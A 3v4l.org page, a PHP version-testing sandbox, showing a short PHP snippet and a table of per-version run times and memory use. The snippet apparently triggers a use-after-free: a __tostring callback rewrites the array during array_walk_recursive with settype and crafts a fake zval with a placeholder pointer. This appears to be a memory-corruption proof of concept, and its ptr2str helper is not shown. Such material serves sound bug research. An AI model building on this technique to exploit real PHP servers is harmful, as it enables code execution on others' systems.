3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj { function __tostring() { global $arr, $zval; $arr = 1; $zval = ptr2str(2); $zval .= ptr2str(0x1122334455); $zval .= "\x00\x00\x00\x00"; $zval .= "\x05"; $zval .= "\x00"; $zval .= "\x00\x00"; return 'hi'; } } $arr = array('string' => new obj, 1); array_walk_recursive($arr, 'settype');

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.70.0120.00318.80
8.3.60.0090.00618.68
8.3.50.0080.01022.01
8.3.40.0110.00418.97
8.3.30.0130.01018.57
8.3.20.0110.00722.04
8.3.10.0060.00323.42
8.3.00.0060.00319.91
8.2.190.0090.00920.39
8.2.180.0110.01117.00
8.2.170.0130.00322.96
8.2.160.0090.00620.38
8.2.150.0130.00724.18
8.2.140.0000.00924.66
8.2.130.0030.00619.09
8.2.120.0100.01026.35
8.2.110.0060.00321.00
8.2.100.0070.00418.05
8.2.90.0080.00019.20
8.2.80.0050.00517.97
8.2.70.0060.00317.63
8.2.60.0000.00818.05
8.2.50.0030.00518.07
8.2.40.0040.00422.06
8.2.30.0030.00520.64
8.2.20.0040.00417.77
8.2.10.0000.00818.25
8.2.00.0000.00718.01
8.1.280.0000.01525.92
8.1.270.0090.00922.02
8.1.260.0080.00028.09
8.1.250.0030.00628.09
8.1.240.0080.00417.48
8.1.230.0090.00319.17
8.1.220.0040.00417.89
8.1.210.0000.01018.77
8.1.200.0030.00617.48
8.1.190.0040.00417.35
8.1.180.0000.00818.10
8.1.170.0030.00518.45
8.1.160.0050.00320.78
8.1.150.0000.00818.84
8.1.140.0050.00319.52
8.1.130.0040.00417.64
8.1.120.0040.00417.40
8.1.110.0040.00417.38
8.1.100.0020.00517.45
8.1.90.0040.00417.41
8.1.80.0040.00417.51
8.1.70.0000.00717.43
8.1.60.0030.00517.56
8.1.50.0050.00317.60
8.1.40.0030.00517.43
8.1.30.0000.00817.71
8.1.20.0000.00817.71
8.1.10.0040.00417.50
8.1.00.0000.00817.52
8.0.300.0080.00018.77
8.0.290.0070.00016.75
8.0.280.0040.00418.52
8.0.270.0070.00017.27
8.0.260.0030.00317.28
8.0.250.0030.00317.07
8.0.240.0030.00316.94
8.0.230.0000.00717.02
8.0.220.0040.00316.89
8.0.210.0000.00817.02
8.0.200.0030.00316.97
8.0.190.0000.00917.09
8.0.180.0030.00516.96
8.0.170.0000.00816.91
8.0.160.0060.00317.01
8.0.150.0020.00516.98
8.0.140.0050.00316.95
8.0.130.0050.00413.46
8.0.120.0040.00416.94
8.0.110.0000.00716.95
8.0.100.0000.00717.01
8.0.90.0030.00616.93
8.0.80.0100.01316.96
8.0.70.0030.00516.80
8.0.60.0050.00316.94
8.0.50.0030.00516.82
8.0.30.0060.01417.23
8.0.20.0120.00717.40
8.0.10.0040.00416.98
8.0.00.0110.00816.79
7.4.330.0050.00016.77
7.4.320.0030.00316.49
7.4.300.0030.00316.62
7.4.290.0030.00316.44
7.4.280.0000.00716.52
7.4.270.0000.00716.67
7.4.260.0000.00816.60
7.4.250.0000.00716.57
7.4.240.0020.00516.52
7.4.230.0030.00316.50
7.4.220.0140.00716.54
7.4.210.0130.00316.64
7.4.200.0040.00416.68
7.4.160.0130.00616.77
7.4.150.0060.01217.40
7.4.140.0100.00717.86
7.4.130.0090.00816.54
7.4.120.0070.01016.55
7.4.110.0070.01016.54
7.4.100.0090.00916.53
7.4.90.0120.00616.46
7.4.80.0100.01319.39
7.4.70.0100.00716.51
7.4.60.0090.00616.41
7.4.50.0080.00416.47
7.4.40.0070.01016.66
7.4.30.0150.00616.57
7.4.00.0000.00915.18
7.3.330.0030.00313.36
7.3.320.0000.00513.38
7.3.310.0030.00316.32
7.3.300.0000.00716.24
7.3.290.0050.00916.33
7.3.280.0060.01216.39
7.3.270.0140.00417.40
7.3.260.0070.01016.28
7.3.250.0090.01016.51
7.3.240.0050.01216.41
7.3.230.0060.01216.41
7.3.210.0070.01016.44
7.3.200.0030.01216.47
7.3.190.0090.00616.38
7.3.180.0070.01116.39
7.3.170.0070.01316.35
7.3.160.0090.01316.39
7.3.10.0110.00416.32
7.3.00.0030.01216.38
7.2.330.0180.00916.59
7.2.320.0120.01216.52
7.2.310.0030.01416.73
7.2.300.0090.00916.34
7.2.290.0100.00616.54
7.2.130.0080.00416.81
7.2.120.0070.00716.51
7.2.110.0060.01016.78
7.2.100.0000.00816.52
7.2.90.0150.00916.64
7.2.80.0160.01316.73
7.2.70.0140.00816.85
7.2.60.0070.00616.88
7.2.50.0120.00916.83
7.2.40.0110.00716.96
7.2.30.0090.00316.71
7.2.20.0070.01016.89
7.2.10.0120.00616.92
7.2.00.0150.00616.90
7.1.250.0060.00615.59
7.1.200.0030.01215.63
7.1.70.0030.00516.88
7.1.60.0130.01019.52
7.1.50.0070.01316.90
7.1.00.0070.07322.34
7.0.200.0000.00716.49
7.0.60.0100.08319.83
7.0.50.0070.03717.80
7.0.40.0130.03320.26
7.0.30.0370.05720.23
7.0.20.0270.04320.10
7.0.10.0070.08020.24
7.0.00.0070.09020.23
5.6.210.0070.05020.47
5.6.200.0000.07718.29
5.6.190.0030.04020.64
5.6.180.0430.06720.41
5.6.170.0230.08020.54
5.6.160.0130.03720.47
5.6.150.0030.04718.21
5.6.140.0070.08318.18
5.6.130.0170.05018.26
5.6.120.0070.05020.89
5.6.110.0030.04721.01
5.6.100.0100.07721.01
5.6.90.0100.07720.98
5.6.80.0070.07020.46
5.5.350.0130.08320.43
5.5.340.0000.04017.94
5.5.330.0070.03720.56
5.5.320.0230.03720.30
5.5.310.0230.07320.23
5.5.300.0000.06317.99
5.5.290.0030.04717.92
5.5.280.0070.09020.89
5.5.270.0030.06320.66
5.5.260.0030.04320.84
5.5.250.0070.08320.68
5.5.240.0200.06720.04

preferences:
29.66 ms | 401 KiB | 5 Q